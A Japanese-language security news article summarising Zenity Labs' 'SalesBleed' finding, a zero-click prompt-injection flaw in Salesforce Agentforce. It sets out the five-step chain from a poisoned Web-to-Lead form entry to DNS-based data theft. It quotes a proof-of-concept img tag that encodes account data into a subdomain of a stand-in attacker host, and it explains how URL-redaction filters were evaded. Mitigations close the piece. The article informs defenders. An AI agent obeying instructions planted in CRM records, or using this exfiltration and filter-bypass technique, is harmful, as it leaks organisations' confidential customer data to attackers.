9月25日、GBHackersが「Salesforce Agentforce Flaw Enables 0-Click Data Exfiltration via Prompt Injection」と題した記事を公開した。SalesforceのAIエージェント「Agentforce」に発見されたプロンプトインジェクション脆弱性——研究者が「SalesBleed」と命名したこの欠陥は、攻撃者がSalesforceにログインする必要も、被害者がリンクをクリックする必要もなく、公開フォームへの送信一回だけでCRMデータを外部へ流出させられるというものだ。
攻撃フローの全体像
SalesBleedの攻撃は大きく5段階で完結する。①公開フォームに悪意あるペイロードを送信→②CRMにレコードとして保存→③従業員がAgentforceを呼び出す→④エージェントが攻撃者制御ドメインへのDNSクエリを発生させる→⑤データ窃取完了——というフローだ。被害者側の能動的な操作は「従業員がAgentforceにリードの確認を依頼する」という日常業務のみであり、攻撃者はその後の経過を一切コントロールする必要がない。以下では各段階の技術的詳細を順に解説する。
「0クリック」でCRMデータが漏洩する仕組み
発見者はセキュリティ研究機関のZenity Labsだ。同社はAIエージェントやコパイロットのセキュリティリスクを専門に調査しており、エンタープライズ向けAI製品の脆弱性報告で実績を持つ。「SalesBleed」という脆弱性名は同社が命名したもので、Salesforceの公式CVEとして割り当てられた識別子とは別に、攻撃の性質を示す研究者通称として用いられている。
攻撃の起点は、多くの企業が公開している「Web-to-Lead」フォームだ。これは潜在顧客が自社の連絡先情報を送信するための入口として意図的に認証なしで公開されているもので、Salesforceが標準機能として提供している。攻撃者はこのフォームのリードフィールドに、人間が見ても無害に見えるが、AIエージェントが処理すると命令として解釈される悪意あるペイロードを埋め込む。
悪意あるリードレコードはCRM内に保存され続ける。その後、社内の従業員が「最新のリードを確認して」とAgentforceに依頼した時点で攻撃が発火する。Agentforceがそのレコードを処理すると、埋め込まれた指示が「General CRM」サブエージェントを動かし、Accountsテーブルを含む他のCRMオブジェクトへのクエリを実行させる。
DNSクエリを使ったデータ窃取の巧妙さ
研究者が示したPoCでは、注入された命令がエージェントに以下のようなHTMLを生成させる:
<img src="https://Acme-712412.attacker-domain.example/image.jpg">
アカウント名や取引規模などの機密データが、攻撃者の管理するサブドメインにエンコードされて埋め込まれる。Agentforceのチャットインターフェースがこの画像タグをレンダリングすると、クライアントはホスト名の解決を試みる。このDNSリクエストが攻撃者の権威DNSサーバーに到達した時点でデータ窃取は完了する。
重要なのは、HTTPリクエストが成立しなくてもDNS解決だけでデータが流出するという点だ。ファイアウォールでHTTP通信をブロックしていても、DNS通信まで遮断していなければ防げない。
また、AgentforceをSlackに連携している場合、攻撃者が制御するURLがSlackの自動リンクプレビュー機能を通じてDNSルックアップを発生させる経路も示された。この場合、ユーザーはリンクを開く必要すらない。
Salesforceの防御機構がバイパスされた経緯
SalesforceはCSP(コンテンツセキュリティポリシー)に相当する「Trusted URLs機構」と、URLリダクション(出力内URLのマスキング)を多層防御として実装していた。Trusted URLs機構とは、Salesforce組織が外部と通信できるURLドメインを許可リスト形式で限定する仕組みで、意図しない外部通信を制限することを目的としている。しかしZenity Labsは、URLリダクターのURL解析とブラウザのレンダリング挙動の差異を突いてこれを回避した。
具体的には、リダクターが認識しないトップレベルドメインと特定の終端文字を組み合わせることで、フィルターが文字列を「不正な形式」と判断してそのまま通過させた一方、ブラウザはHTMLのimg srcとして処理してホスト名解決を実行した。
Salesforceはこの報告を受けて該当機構を強化し、AgentforceのSlack連携における特定アクションについてはユーザー確認を必須とするようデフォルト設定を変更した。野生での悪用は確認されていないとのことだ。
このケースが示すAIエージェントの構造的リスク
SalesBleedが特に示しているのは、プロンプトインジェクションは特権昇格を必要としないという点だ。攻撃はCRMサブエージェントにすでに付与されているデータアクセス権限をそのまま悪用した。「外部から入力されるコンテンツ」「広範なツール権限」「単一エージェントIDからの外部通信チャネル」が組み合わさると、出力フィルタリングだけでは防御できないことが実証された。
また、汚染されたリードレコードはCRM内に残存し続けるため、1件の悪意ある投稿が、従業員がそのリードを参照するたびに繰り返しトリガーされるという点も見逃せない。
組織が取るべき対策
Zenity Labsが推奨する緩和策のうち、最優先で対応すべき項目は2つだ。
- Web-to-Leadフォームの全フィールドを「信頼できないAI入力」として扱い、エージェントへの直接連携を見直す
- Agentforceサブエージェントへの最小権限を適用し、リードレビュー機能と機密アカウント情報へのアクセスを分離する
これら2点はSalesBleedの攻撃チェーンを最上流で断ち切る措置であり、他の項目より優先度が高い。加えて、以下の対策も組み合わせることが推奨されている:
- Trusted URLの許可リストを監査し、過度なワイルドカード設定を避ける
- エージェント応答内のHTMLや外部解決コンテンツを制限・サニタイズする
- DNSテレメトリでエントロピーの高い異常なサブドメインを監視する
- Agentforceのプロンプトインジェクション検知機能を有効化する
- Slackメッセージや外部リクエストなど影響の大きいアクションには確認ステップを要求する
詳細はSalesforce Agentforce Flaw Enables 0-Click Data Exfiltration via Prompt Injectionを参照していただきたい。